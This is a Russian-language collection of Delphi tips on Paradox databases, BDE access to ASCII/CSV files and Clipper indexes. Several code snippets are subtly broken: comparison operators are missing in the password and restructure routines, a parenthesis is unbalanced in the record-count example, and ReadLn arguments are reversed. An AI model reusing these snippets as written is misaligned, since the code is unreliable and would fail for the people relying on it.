Number - 15 знаков, плавающая запятая, плюс-минус 10 в 308 степени
Money - обычное поле с плавающей запятой, возможно прнименение различных форматов вывода
Short - целое от -32,767 до +32,767
Long Integer - oт -2147483648 дo 2147483647
BCD - плавающая запятая, повышенная точность, применяется для финансовых рассчётов
Date - для хранения даты
Time - для хранения времени
Timestamp - для хранения даты/времени
Memo
Formatted Memo
Graphic - вариант Blob поля
OLE - вариант Blob поля
Logical - True/False
Autoincrement
Binary - вариант Blob поля
Bytes - вариант Blob поля

- поддерживаемые конструкции SQL - поддерживаются все стандартные конструкции SQL: Select, Update, Insert, Create Table, Create Index, Alter Table, Alter Index, Join и т.д. Нет поддержки всторенных запросов типа: Select * From (Select * ...), нет поддержки использования переменных в запросах, нет возможности использования нескольких SQL statement в одном запросе.

- поддержка транзакций - есть

- системы репортинга, в том числе для Web - имеется встроенных не очень мощный репортинг, возможно использование других репортинговых систем: Crystal Report, Fast Report, Quick Report, Rave и д.р. Собственного репортинга ориентированного на Web нет.

- наличие собственного агента для выполнения заданий по расписанию - нет

3) Защита данных, шифрование - очень слабая защита паролем, шифрования нет, защита может предохранить только от неискушённого пользователя, так как присутствуют универсальные пароли, то профессионалом защита снимается за пару минут.

4) простота использования - в целом Парадокс достаточно дружелюбная среда. Администрирование и освоение трудностей не составляет.

- наличие встроенных средств администрирования с GUI интерфейсом - сам Парадокс - программа с довольно продуманным GUI интерфейсом, кроме того с BDE поставляется бесплатная программа Database Desktop, которая практически 90% дублирует функциональность самого Парадокса

- возможность удалённого и Web администрирования - нет

- сложность перевода проекта написанного под другую базу данных на рассматриваемую - Следует различать программы написанные именно при помощи самого Парадокса и программы на других языках программирования использующих таблицы формата парадокс.
а)Перевод програм с языка других баз данных на язык Парадокс достаточно трудоёмок и не стоит потраченных усилий.
б)Если же таблицы формата парадокс используются в третьесторонних программах то перевод с таблиц формата dbf на парадоксовский db обычно почти автоматический.
Перевод с формата db на dbf может быть связан с трудностями, так как db немного более "богатый" формат и могут быть нужны небольшие переделки в коде.
Перевод MS Access в Парадокс и наоборот будет связан с более значительными переделками.
Перевод с серверных баз данных на парадокс практически бессмысленен и подчас очень труден.
Перевод с парадокса на серверные базы данных обычно достаточно лёгок.
Итог: с Парадокса легко перейти на почти любые другие базы данных, обратное зачастую намного сложнее. Наибольшая совместимость с форматом dbf.

- сложность в установке и настройке - установка автоматическая, проблема может быть только одна - на больших винчестерах програма инсталляции может неправильно определять объём свободного места и не ставится (выход - временно занять свободное место оставив свободным только 1 гигабайт на время установки). Настройка не требуется. Практически не конфликтует с другим софтом

- насколько сложно администрирование сервера - администрирование практически не требуется

- наличие утилит для автоматизации операций для работы в командной строке - нет

- наличие собственных утилит для отладки запросов (выполнение SQL, построение плана выполнения кверей, профайлер и т.п.), утилиты для слежения за производительностью сервера. - Сам парадокс, Database Desktop

5) платформы
- на которых может работать сервер - MS DOS, MS Windows всех версий после Win 3.1
- на которых может работать клиент - MS DOS, MS Windows всех версий после Win 3.1

6) версии продуктов, краткая характеристика отличий
- наиболее широкораспространена версия 7 - под win32 платформу, последняя версия от Борланд. Последующие версии привносили практически лишь косметические изменения

7) способы доступа
- собственные API - есть DBI - API поставляемые с BDE
ODBC - поддержка только таблиц до 5й версии включительно, для более поздних версий - с ограничениями.
JDBC- есть
ADO (OLE DB) - фактически работает через драйвер ODBC
DAO - поддержка только таблиц до 5й версии включительно, для более поздних версий - с ограничениями.
BDE - "родной" и самый быстрый способ доступа
DBExpress - нет
Другие: - большое количество сторонних производителей компоеннтов, классов и библиотек для работы с форматами таблиц Парадокс.
оценка производительности - наиболее быстрый способ доступа - через BDE, на 1-2 порядка превосходит по скорости все остальные способы. Он же обеспечивает и максимальную функциональность.
- языки программирования - Парадокс является очень распространённым форматом для работы с базами данных самых различных языков программирования. Является "родным" для програмных сред от фирмы Борланд: Дельфи, СBuilder. Из этих сред работа с таблицами в формате Парадокса очень простая.

8) производительность
- монопольный доступ - очень высокая, особенно при локальном доступе. Например скорость выполнения Insert квери на локальной таблице при подключении BDE может достигать 2000-3000 кверей в минуту.
- для большого количества одновременных подключений - очень низкая, крайне желательен перевод на бузу данных с серверной архитектурой.
- для больших таблиц - при монопольном доступе весьма большая.
- для больших массивов данных при монопольном доступе - большая

9) цена - отдельно уже производителями не продаётся, вместе с Corel Office стоит порядка $100. Однако для написания програм которые работают с базами данных Парадокс сам Парадокс не требуется, достаточно иметь набор бесплатных утилит, таких как Database Desktop, тем более Парадокс не нужен для run-time среды таких програм.

10) явные недостатки и преимущества по сравнению с системами такого же класса - парадокс показывает практически такую-же или даже превосходящую производительность чем DBase/FoxPro, однако имеет значительно более слабую собственную среду программирования.
В сравнении с MS Access Парадокс показывает значительно более высокую производительность(примерно на порядок!), но проигрывает в мощности языка программирования и интегрированности с другими продуктами. Кроме того в отличие от MS Access развитие среды Парадокс практически прекращено.

11) предпочтительные проекты для использования
- с точки зрения количества данных - для проектов манипулирующих не более чем сотней тысяч записей.
- количества пользователей - 1-3 пользователя (одновременных подключений)
- уровня защищённости - не требующие защиты информации
- цены - для продуктов, которые не должны требовать дополнительных вложений в базы данных
распространённости - годится для распространяемых приложений, как весьма компактная и лёгкая в распространении бизнес-модель

Итог: - оптимально использование баз данных Парадокс для небольших проектов персонального пользования написанных на Дельфи или CБилдере

12) проекты в которых не рекомендуется использовать - для многопользовательских проектов, там где требуется высокий уровень защитыы данных и большие массивы информации.

13) Известные глюки и проблемы - система очень старая, что характеризует не только значительно устаревший интерфейс и отсутствие новомодных наворотов, но и очень низкое количество глюков. 2 основных глюка:
1. При многопользовательском доступе довольно частое возникновение corrupted table особенно если есть BLOB/Memo поля
2. При принудительном прерывании транзакции не освобождение ресурсов и как следствие "разбухание" служебных файлов.

14) Краткий обзор основных прилагаемых утилит и средств для обслуживания сервера
- Database Desktop - полноценная среда для управления любыми базами данных через BDE
- DataPump - утилита переноса данных из одной базы данных в другую
- BDE Administrator - программа управления BDE

15) Краткий обзор наиболее примечательных продуктов третьесторонних производителей для работы с данной базой данных. - огромное количество софта для работы с Парадоксовскими таблицами, практически можно найти программы на любой вкус и для любых целей.


Как добавить пароль к таблице

uses
  Bde, SysUtils, dbtables, windows;

function StrToOem(const AnsiStr: string): string;
begin
  SetLength(Result, Length(AnsiStr));
  if Length(Result)  0 then
    CharToOem(PChar(AnsiStr), PChar(Result));
end;

function TablePasswort(var Table: TTable; password: string): Boolean;
var
  pTblDesc: pCRTblDesc;
  hDb: hDBIDb;
begin
  Result := False;
  with Table do
  begin
    if Active and (not Exclusive) then Close;
    if (not Exclusive) then Exclusive := True;
    if (not Active) then Open;
    hDB := DBHandle;
    Close;
  end;
  GetMem(pTblDesc, SizeOf(CRTblDesc));
  FillChar(pTblDesc^, SizeOf(CRTblDesc), 0);
  with pTblDesc^ do
  begin
    StrPCopy(szTblName, StrToOem(Table.TableName));
    szTblType := szParadox;
    StrPCopy(szPassword, StrToOem(Password));
    bPack      := True;
    bProtected := True;
  end;
  if DbiDoRestructure(hDb, 1, pTblDesc, nil, nil, nil, False) DBIERR_NONE then Exit;
  if pTblDesc  nil then FreeMem(pTblDesc, SizeOf(CRTblDesc));
  Result := True;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как восстановить повреждённую таблицу?

How to recover Data in a damaged Header of DbTables.

(Paradox or Dbase) Tables

If this problem occurs and we have not copies of data.

Paradox can't directly open those damaged Tables so
Paradox can't repair those tables.

solution :

T1: the Damaged Table

1- We Have to create an empty Table (T2.Db or
T2.Dbf) that have the same structure of damaged table
(T1.DB or T1.Dbf).

2- With Dos Prompts or excutable batch File we have to
execute this command:

Copy T2.Db+T1.db T3.Db

or

Copy T2.Dbf+T1.dbf T3.Dbf

3-Finally with paradox browser we can open T3 Table
we have to delete bad records.
and copy t3 to t1 table.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с ASCII файлами, CSV файлы

Cодержание раздела:

Импорт CSV ASCII
Формат файла ASCII-схемы
Как экспортировать таблицу базы данных в ASCII-файл?
Как сохранить содержимое таблицы в текстовый файл?
ASCII драйвер для CSV-файлов
ASCII-файл с использованием полей
Читаем CSV текстовый файл в StringGrid
Импорт большого CSV файла
Быстрая обработка CSV файла
RecCount в таблицах ASCII

См. также статьи в других разделах:
Как экспортировать все таблицы в CSV файл?


Импорт CSV ASCII

unit Cdbascii;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, DbiErrs, DbiTypes, DbiProcs, DB, DBTables;

type

  TAsciiDelimTable = class(TTable)
  private
{ Private declarations }
    fQuote: Char;
    fDelim: Char;
  protected
{ Protected declarations }
    function CreateHandle: HDBICur; override;
    procedure SetQuote(newValue: Char);
    procedure SetDelim(newValue: Char);
  public
{ Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
{ Эти свойства не должны больше публиковаться }
    property IndexFieldNames;
    property IndexName;
    property MasterFields;
    property MasterSource;
    property UpdateMode;
  published
{ Published declarations }
    property Quote: Char read fQuote write setQuote default '"';
    property Delim: Char read fDelim write setDelim default ',';
  end;

procedure Register;

implementation

uses DBConsts;

procedure Register;
begin

  RegisterComponents('Data Access', [TAsciiDelimTable]);
end;

constructor TAsciiDelimTable.Create(AOwner: TComponent);
begin

  inherited Create(AOwner);
  Exclusive := True;
  TableType := ttASCII;
  fQuote := '"';
  fDelim := ',';
end;

destructor TAsciiDelimTable.Destroy;
begin

  inherited Destroy;
end;

{ Рабочий код }

function CheckOpen(Status: DBIResult): Boolean;
begin

  case Status of
    DBIERR_NONE:
      Result := True;
    DBIERR_NOTSUFFTABLERIGHTS:
      begin
        if not Session.GetPassword then DbiError(Status);
        Result := False;
      end;
  else
    DbiError(Status);
  end;
end;

function TAsciiDelimTable.CreateHandle: HDBICur;
const

  OpenModes: array[Boolean] of DbiOpenMode = (dbiReadWrite, dbiReadOnly);
  ShareModes: array[Boolean] of DbiShareMode = (dbiOpenShared, dbiOpenExcl);
var

  STableName: array[0..SizeOf(TFileName) - 1] of Char;
  SDriverType: array[0..12] of Char;
begin

  if TableName = '' then DBError(SNoTableName);
  AnsiToNative(DBLocale, TableName, STableName, SizeOf(STableName) - 1);
  StrPCopy(SDriverType, 'ASCIIDRV-' + Quote + '-' + Delim);
  Result := nil;
  while not CheckOpen(DbiOpenTable(DBHandle, STableName, SDriverType,
    nil, nil, 0, OpenModes[ReadOnly], ShareModes[Exclusive],
    xltField, False, nil, Result)) do {Повтор}
    ;
end;

procedure TAsciiDelimTable.SetQuote(newValue: Char);
begin

  if Active then
{    DBError(SInvalidBatchMove); };
  fQuote := newValue;
end;

procedure TAsciiDelimTable.SetDelim(newValue: Char);
begin

  if Active then
{    DBError(SInvalidBatchMove); };
  fDelim := newValue;
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Формат файла ASCII-схемы

В файле asciidrv.txt насчет последнего числа в строке схемы поля говорится:

"* Offset - Number of characters from the beginning of the line that the field begins. Used for FIXED format only." (Offset - количество символов он начала линии до начала поля. Используется только для фиксированного формата.).

С тех пор, как мой файл имеет переменный (Variable) формат, я задал в каждой строке смещение, равное нулю. После некоторых попыток, чтобы заставить это работать, я следал следующие изменения:

[discs]
filetype = varying
charset = ascii
delimiter = "
separator = ,
field1 = id,char,10,0,1
field2 = title,char,30,0,2
field3 = artist,char,30,0,3
...
field36 = song30,char,50,0,36

После более произвольных изменений это стало таким:

[discs]
filetype = varying
charset = ascii
delimiter = "
separator = ,
field1 = id,char,10,0,10
field2 = title,char,30,0,20
field3 = artist,char,30,0,30
...
field36 = song30,char,50,0,360

и внезапно все заработало! Для поля, которое игнорируется форматом файла, "Offset" несомненно дало огромный эффект.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как экспортировать таблицу базы данных в ASCII-файл?

procedure TMyTable.ExportToASCII;

var
  I: Integer;
  Dlg: TSaveDialog;
  ASCIIFile: TextFile;
  Res: Boolean;

begin
  if Active then
    if (FieldCount > 0) and (RecordCount > 0) then
      begin
        Dlg := TSaveDialog.Create(Application);
        Dlg.FileName := FASCIIFileName;
        Dlg.Filter := 'ASCII-Fiels (*.asc)|*.asc';
        Dlg.Options := Dlg.Options+[ofPathMustExist,
          ofOverwritePrompt, ofHideReadOnly];
        Dlg.Title := 'Экспоритровать данные в ASCII-файл';
        try
          Res := Dlg.Execute;
          if Res then
            FASCIIFileName := Dlg.FileName;
        finally
          Dlg.Free;
        end;
        if Res then
          begin
            AssignFile(ASCIIFile, FASCIIFileName);
            Rewrite(ASCIIFile);
            First;
            if FASCIIFieldNames then
              begin
                for I := 0 to FieldCount-1 do
                  begin
                    Write(ASCIIFile, Fields[I].FieldName);
                    if I <> FieldCount-1 then
                      Write(ASCIIFile, FASCIISeparator);
                  end;
                Write(ASCIIFile, #13#10);
              end;
            while not EOF do
              begin
                for I := 0 to FieldCount-1 do
                  begin
                    Write(ASCIIFile, Fields[I].Text);
                    if I <> FieldCount-1 then
                      Write(ASCIIFile, FASCIISeparator);
                  end;
                Next;
                if not EOF then
                  Write(ASCIIFile, #13#10);
              end;
            CloseFile(ASCIIFile);
            if IOResult <> 0 then
              MessageDlg('Ошибка при создании или переписывании '+
                'в ASCII-файл', mtError, [mbOK], 0);
          end;
      end
    else
      MessageDlg('Нет данных для экспортирования.',
        mtInformation, [mbOK], 0)
  else
    MessageDlg('Таблица должна быть открытой, чтобы данные '+
      'можно было экспортировать в ASCII-формат.', mtError,
      [mbOK], 0);
  end;


Как сохранить содержимое таблицы в текстовый файл?

Эти небольшие функции анализирую таблицу и записывают её содержимое в TStringList. А затем просто сохраняют в файл.

procedure DatasetRecordToInfFile(aDataset: TDataSet; aStrList: TStrings);
var i: integer;
begin
  for i := 0 to (aDataset.FieldCount-1) do
    aStrList.Add(aDataset.Fields[i].FieldName + '=' +
                 aDataset.Fields[i].AsString);
end;

procedure DatasetToInfFile(aDataset: TDataSet; aStrList: TStrings);
begin
  aDataSet.First;
  while not aDataSet.EOF do
  begin
    DatasetRecordToInfFile(aDataset,aStrList);
    aDataSet.Next;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  DatasetRecordToInfFile(Table1,Memo1.Lines);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  DatasetToInfFile(Table1,Memo1.Lines);
end;

Взято из http://forum.sources.ru


ASCII драйвер для CSV-файлов

Использование драйвера ASCII для файлов с разделительной запятой

Delphi (и BDE) имеют способность использовать ASCII файлы для хранения таблиц. Драйвер ASCII имеет возможность транслировать значения данных ASCII-поля фиксированной длины или файла с разделительной запятой в поля и величины, которые могут отображаться компонентом TTable. Трансляция ASCII файла целиком зависит от сопровождающего файла схемы (Schema File). Файл схемы для файла ASCII данных определяет различные атрибуты, необходимые для преобразования данных ASCII файла в значения отдельных полей. Определения полей для файла с ASCII полями фиксированной длины достаточно простая задача, необходимо знать позиции всех полей, для всех строк они одинаковы. Для файлов с разделительной запятой данный процесс чуть более усложнен из-за того, что не все данные в таком файле во всех строках имеют одинаковую длину. Данный совет как раз и концентрируется на описании этой трудной темы, связанной с чтением данных из файлов с разделительной запятой, имеющих варьируемую длину поля.

Файл схемы

Файл схемы для файла данных ASCII содержит информацию, которая определяет оба типа файла (версии с разделительной запятой и полем с фиксированной длиной), а также определяет поля, которые представлены значениями данных в каждой строке файла данных ASCII. (Все поля файла схемы нечуствительны к регистру, поэтому написание "ascii" равнозначно написанию "ASCII".) Для того, чтобы файл схемы был признан в качестве такового, он должен иметь то же имя, что и файл данных ASCII, для которого он содержит схему, но иметь расширение .SCH (SCHema - схема). Атрибуты описания файла:

File name: Располагаемый в квадратных скобках, данный атрибут определяет
имя файла ASCII данных (с расширением имени файла,
которое должно быть .TXT).

Filetype: Определяет, имеет ли файл ASCII данных структуру файла с
полями фиксированной длины (используется атрибут FIXED) или
файлом с разделительной запятой (со значениями данных, которые
потенциально могут изменять длину (используется атрибут VARYING).

Delimiter: Определяет символ, которым "окантуривают" значения данных типа
String (обычно двойные кавычки, десятичный ASCII код 34).

Separator: Определяет символ, который используется для разделения отдельных
значений данных (обычно запятая). Данный символ должен быть
видимым символом, т.е. не может быть пробелом (десятичный ASCII
код 32).

CharSet: Определяет драйвер языка (используется атрибут ASCII).
Расположенные ниже атрибуты файла являются определениями поля, задающими правила для каждой строки файла данных ASCII. Данные определения служат источником информации для Delphi и BDE, первоначально необходимой для создания виртуального поля в памяти, в свою очередь служащее для хранения значений данных; тип данных виртуального поля определяется после чтения и трансляции данных из ASCII файла, определения размера и применения атрибутов. Различные атрибуты, определяющие поле файла данных ASCII:

Field: Имя виртуального поля (всегда будет "Field"), сопровождаемое
целым числом, определяющим порядковый номер поля относительно
других полей в файле данных ASCII. Например, первое поле -
Field1, второе Field2, и т.д..

Field name: Определяет выводимое имя поля, отображаемое в виде
заголовка колонки в TDBGrid. Соглашения имен для
таблиц ASCII такие же, как и для таблиц Paradox.

Field type: Определяет, какой тип данных BDE должен использоваться при
трансляции значений данных каждого поля и сообщает
Delphi тип виртуального поля, которое необходимо создать.

Используйте определение Для значений типа
----------------------- ----------------------------
CHAR Символ
FLOAT 64-битное число с плавающей точкой
NUMBER 16-битное целое
BOOL Boolean (T или F)
LONGINT 32-битное длинное целое
DATE Поле Date.
TIME Поле Time.
TIMESTAMP Поле Date + Time.

(Фактически формат для значений данных даты и времени
будет определяться текущими настройками конфигурации BDE,
страница с закладкой Date.)

Data value length: Максимальная длина значения данных соответствующего поля.
Данный атрибут определяет длину виртуального поля,
создаваемое Delphi для получения считываемых значений из
ASCII-файла.

Number of decimals: Приложение к полю типа FLOAT; определяет количество цифр
справа от десятичной точки; необходимо для включения в
определение виртуального поля.

Offset: Отступ от начала строки, позиция начала данных описываемого
поля; задается для всех строк файла.
Например, приведенное ниже определение поля относится к первому полю таблицы ASCII. Данная строка определяет значения данных типа String с именем "Text", максимальная длина значения данных составляет три символа (и в Delphi компонентах для работы с базами данных, типа TDBGrid, поле будет отображаться только тремя символами), десятичный порядок (значение данных типа String никогда не сможет иметь десятичные значения, тем более после запятой), и смещение относительно нулевой позиции (поскольку описываемая область первая, то она сама начинается с нулевой позиции, перед ней не находится ни одно поле).

Field1=Text,Char,3,00,00
Вот пример файла схемы с тремя полями, первое поле имеет тип String, второе и третье тип Date. Данный файл схемы должен содержаться в файле с именем DATES.SCH и обеспечивать определения полей для файла данных ASCII с именем DATES.TXT.
[DATES]
Filetype=VARYING
Delimiter="
Separator=,
CharSet=ascii
Field1=Text,Char,3,00,00
Field2=First Contact,Date,10,00,03
Field3=Second,Date,10,00,13
Данная схема определяет поле с разделительной запятой, где все данные могут быть отнесены к типу String, значения полей "окантурены" двойными кавычками и отдельные значения полей разделены запятой (за исключением любых запятых, которые могут находится между разделительными запятыми, внутри отдельных значений полей типа String). Первое поле типа character имеет длину три символа, без определения десятичного порядка и с нулевым отступом от начала строки. Второе поле данных имеет длину 10, без определения десятичного порядка и отступ, равный трем. Третье поле данных имеет длину 10, без определения десятичного порядка и отступ, равный 13.
Для чтения файлов ASCII с разделительной запятой, параметры длины и отступа для определения поля относятся не к значениям данных в файлах ASCII (что явно противоположно для файлов с полями фиксированной длиной), а к виртуальным полям, определяемым в приложении, в котором будет размещены считываемые данные. Параметр длины должен отражать максимальную длину значений данных для каждого поля, не считая огриничительных кавычек и разделительной запятой. Это наиболее трудно при оценке значений данных типа String, поскольку фактическая длина значений данных может быть существенно различаться для каждой строки в файле данных ASCII. Параметр отступа для каждого поля не будет являться позицией значений данных в файле ASCII (что относится к файлам с полями фиксированной длины), а представляет собой совокупную длину всех предыдущих полей (и снова, определение полей в памяти, не значения данных в файле ASCII).

Вот файл данных с именем DATES.TXT, который соответствует описанному выше файлу схемы:

"A",08/01/1995,08/11/19955
"BB",08/02/1995,08/12/1995
"CCC",08/03/1995,08/13/1995
Максимальная длина фактических значений данных в первом поле составляет три символа ("CCC"). Поскольку это первое поле и предшествующих полей не существует, отступ для данного поля равен нулю. Длина первого поля (3) используется в качестве отступа для второго поля. Длина второго поля, значение date, равно 10 и отражает максимальную длину значения данных этого поля. Совокупная длина первого и второго полей используется в качестве значения отступа для третьего поля (3 + 10 = 13).
Только когда соответствующая длина значения данных ASCII файла или длина каждого поля добавляется к длине предыдущих полей, вычисляется значение отступа и получается позиция очередного поля, только тогда данный процесс правильно считает данные. Если из-за неправильных установочных параметров в файле схемы данные транслируются неверно, то в большинстве типов полей могут возникнуть неблагоприятные эффекты типа обрезания строк, или интерпретирование цифр как нулей. Обычно в таком случае данные выводятся, но ошибки не возникает. Тем не менее, значения определенного формата в процессе трансляции в подходящий тип данных могут вызвать ошибку, если считываемые символы не соответствуют символам, например, в типе date. В контексте вышесказанного, ошибка с типом datе может возникнуть и-за того, что при неправильном определении в значения данных могут попасть данные другого, соседнего поля. При таком стечение обстоятельств трансляция данных прерывается, и в файле схемы требуется установка правильной длины поля и его отступа.

Взято с http://delphiworld.narod.ru


ASCII-файл с использованием полей

В том случае, когда вы собираетесь использовать содержимое текстового файла таким образом, как будто он имеет поля, вам необходим файл схемы, содержащий описание формата текстового файла и который необходим для осуществления вызовов при работе с полями (Fields / FieldByName / Post / и др.). Ниже приводится код, который вы можете использовать при создании своей программы:

{ Подразумеваем, что Table1 - файл, который мы хотим скопировать в ASCII-файл. Используем TBatchMove, поскольку быстро работает. Также это автоматически создаст файл схемы }

procedure TForm1.Button1Click(Sender: TObject);
var
  oDest: TTable;
  oBMove: TBatchMove;
begin

  try
    oDest := nil;
    oBMove := nil;
    Table1.Close;

    oDest := TTable.Create(nil);
    with oDest do
      begin
        DatabaseName := 'c:\delphi\files';
        TableName := 'Test.Txt';
        TableType := ttASCII;
      end; {Обратите внимание на то, что нет необходимости вызывать CreateTable}

    oBMove := TBatchMove.Create(nil);
    with oBMove do
      begin
        Source := Table1;
        Destination := oDest;
        Mode := batCopy;
        Execute;
      end;
  finally
    if Assigned(oDest) then oDest.Free;
    if Assigned(oBMove) then oBMove.Free;
  end;
end;

{ Теперь, допустим, файл схемы существует; сам текстовый файл может как быть, так его может и не быть. С помощью файла схемы мы уже можем работать с полями }

procedure TForm1.Button2Click(Sender: TObject);
var

  oTxt: TTable;
  i: Integer;
  f: System.Text;
begin

  try
    oTxt := nil;

    if not FileExists('c:\delphi\files\Test.Txt') then
      begin
        AssignFile(f, 'c:\delphi\files\Test.Txt');
        Rewrite(f);
        CloseFile(f);
      end;

    oTxt := TTable.Create(nil);
    with oTxt do
      begin
        DatabaseName := 'c:\delphi\files';
        TableName := 'Test.Txt';
        TableType := ttASCII;
        Open;
      end;

    with Table1 do
      begin
        DisableControls;
        if not Active then Open;
        First;
        while not EOF do
          begin
            oTxt.Insert;
{ В данном случае файл схемы описывает формат текстового файла; в этом
примере фактически один к одному воспроизводятся поля таблицы
в логическое определение полей в .sch-файле }
            for i := 0 to FieldCount - 1 do
              oTxt.Fields[i].AsString := Fields[i].AsString;
            oTxt.Post;
            Next;
          end;
      end;
  finally
    Table1.EnableControls;
    if Assigned(oTxt) then oTxt.Free;
  end;

end;

OAmiry/Borland
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Читаем CSV текстовый файл в StringGrid

procedure ReadTabFile(FN: TFileName; FieldSeparator:
Char; SG: TStringGrid);
var
  i: Integer;
  S: string;
  T: string;
  Colonne, ligne: Integer;
  Les_Strings: TStringList;
  CountCols: Integer;
  CountLines: Integer;
  TabPos: Integer;
  StartPos: Integer;
  InitialCol: Integer;
begin
  Les_Strings := TStringList.Create;
  try
    Les_Strings.LoadFromFile(FN);
    CountLines := Les_Strings.Count + SG.FixedRows;
    T := Les_Strings[0];
    for i := 0 to Length(T) - 1 do Inc(CountCols,
    Ord(IsDelimiter(FieldSeparator, T, i)));
    Inc(CountCols, 1 + SG.FixedCols);
    if CountLines > SG.RowCount then SG.RowCount := CountLines;
    if CountCols > SG.ColCount then SG.ColCount := CountCols;
    InitialCol := SG.FixedCols - 1;
    Ligne := SG.FixedRows - 1;
    for i := 0 to Les_Strings.Count - 1 do
    begin
      Colonne := InitialCol;
      Inc(Ligne);
      StartPos := 1;
      S := Les_Strings[i];
      TabPos := Pos(FieldSeparator, S);
      repeat
        Inc(Colonne);
        SG.Cells[Colonne, Ligne] := Copy(S, StartPos, TabPos - 1);
        S := Copy(S, TabPos + 1, 999);
        TabPos := Pos(FieldSeparator, S);
      until TabPos = 0;
    end;
  finally
    Les_Strings.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Screen.Cursor := crHourGlass;
  ReadTabFile('C:\TEST.TXT', #9, StringGrid1);
  Screen.Cursor := crDefault;
end;

Взято с http://delphiworld.narod.ru


Импорт большого CSV файла

var s: string; f: TextFile;
  AssignFile(f, 'D:\\INPUT.TXT');
    Reset(f);
    while not EOF(f) do
      begin
        ReadLn(s, f);
        ShowMessage(GetField(s, 1)); {The first field\}
        ShowMessage(GetField(s, 6)); {The sixth field\}
        ShowMessage(GetField(s, 25)); {will return '' if no 25 column...\}
      end;
    CloseFile(f);

{ ==== This function will return a field from a delimited string. ==== \}

function GetField(InpString: string; fieldpos: Integer): string;
var
  c: Char;
  curpos, i: Integer;
begin
  curpos := 1;
  for i := 1 to fieldpos do
    begin
      result := ''; if curpos > Length(InpString) then Break;
      repeat
        c := InpString[curpos]; Inc(curpos, 1);
        if (c = '"') or (c = #13) or (c = #10) then c := ' ';
        if c <> ',' then result := result + c;
      until (c = ',') or (curpos > Length(InpString))
    end;
  if (curpos > Length(InpString)) and (i < fieldpos) then result := '';
  result := Trim(result);
end;

{ ==== This function will trim a string removing spaces etc. ==== \}

function Trim(inp_str: string): string;
var
  i: Integer;
begin
  for i := 1 to Length(inp_str) do
    if inp_str[i] <> ' ' then Break;
  if i > 1 then Delete(inp_str, 1, i - 1);
  for i := Length(inp_str) downto 1 do
    if inp_str[i] <> ' ' then Break;
  if i < Length(inp_str) then Delete(inp_str, i + 1, Length(inp_str));
  result := inp_str;
  if result = ' ' then result := '';
end;

Взято с http://delphiworld.narod.ru


Быстрая обработка CSV файла

Классы Tstrings/TStringlist имеют свойство commatext, которое автоматически разделяет строки, содержащие разделители, на отдельные части. Пример показывает как считать CSV файл. В Конечном итоге, автоматически разделённые строки содержатся в TStringlist.

var
  ts: tstringlist;
  S: string;
  Tf: Textfile;
begin
  Ts := Tstringlist.create;
  Assignfile(tf, 'filename');
  Reset(tf);
  while not eof(tf) do
  begin
    Readln(tf,S);
    Ts.CommaText := S;
    //ProcessLine;
  end;
  closefile(tf);
  ts.free;
end;

Так же операцию можно производить в обратном порядке.

Свойство Commatext поддерживает разделители как в виде запятых, так и двойных кавычек: 1,2,3,4 и "1","2","3","4"

Например, строка вида "1","2,3","4" будет разделена на три элемента, которые заключены в кавычки (средняя запятая будет проигнорирована). Чтобы включить кавычку в конечный результ, нужно поставить две кавычки подряд: "1",""2" (результат будет 1 и "2 ).

Взято с http://delphiworld.narod.ru


RecCount в таблицах ASCII

В Delphi 1.0 для получения количества записей в ASCII файле (.TXT- и .SCH-файлы) я пользовался свойством RecordCount компонента TTable. В Delphi 2.0 эта функциональность не поддерживается! Я прав или не прав? Во всяком случае как мне получить количество записей, содержащихся в ASCII таблице?

В Delphi 2.0, свойство RecordCount отображается на недокументированную функцию BDE DbiGetExactRecordCount. Данное изменение было сделано для обеспечения правильных величин при работе с "живыми" запросами. Очевидно, данное API по какой-то причине не поддерживает текстовые файлы.

Вы можете обойти эту проблему, вызывая функцию API BDE DbiGetRecordCount напрямую (добавьте BDE к списку используемых модулей):

procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word);
var
  RecCount: Integer;
begin
  Check(DbiGetRecordCount(Table1.Handle, RecCount);
end;

Взято с http://delphiworld.narod.ru


Работа с Clipper

Cодержание раздела:

Работа с индексами Clipper'а


Работа с индексами Clipper'а

Посылаю кое-что из своих наработок:

NtxRO - Модуль чтения clipper-овских индексов. Удобен для доступа к данным
Clipper приложений. Предусмотрено, что программа может работать с
индексом даже если родное приложение производит изменение в индексе
NtxAdd - Средство формирования своих Clipper подобных индексов. Индексы
НЕ БУДУТ ЧИТАТЬСЯ Clipper-приложениями (кое-что не заполнил в
заголовке, очень было лениво, да и торопился)
До модуля удаления из Индекса ключей все никак не дойдут руки. Меня очень интересуют аналогичные разработки для индексов Fox-а Кстати реализация индексов Clipper наиболее близка из всех к тому, что описано у Вирта в "Алгоритмах и структурах данных"
Я понимаю, что мне могут возразить, что есть дескать Apollo и т.п., но я считаю что предлагаемая реализация наиболее удобна ТАК КАК ИНДЕКСЫ НЕ ПРИВЯЗАНЫ К НАБОРУ ДАННЫХ (а лишь поставляют физические номера записей) это позволяет делать кое-какие фокусы (например перед индексацией преобразовать значение какой нибудь функцией типа описанной ниже, не включать индексы для пустых ключевых значений в разреженных таблицах, строить индексы контекстного поиска, добавляя по нескольку значений на одну запись, строить статистики эффективности поиска различных ключевых значений (для фамилии Иванов например статистика будет очень плохой) и т.п.)

В файле Eurst.inc функция нормализации фамилий (типа Soundex) В основном это ориентировано на фамилии нашего (Татарстанского) региона

Файл Eurst.inc

var vrSynonm: integer = 0;
  vrPhFine: integer = 0;
  vrUrFine: integer = 0;
  vrStrSyn: integer = 0;

function fContxt(const s: ShortString): ShortString;
var i: integer;

  r: ShortString;
  c, c1: char;
begin r := '';
  c1 := chr(0);

  for i := 1 to length(s) do
    begin
      c := s[i];
      if c = 'Ё' then c := 'Е';
      if not (c in ['А'..'Я', 'A'..'Z', '0'..'9', '.']) then c := ' ';
      if (c = c1) and not (c1 in ['0'..'9']) then continue;
      c1 := c;
      if (c1 in ['А'..'Я']) and (c = '-') and (i < length(s)) and (s[i + 1] = ' ') then
        begin
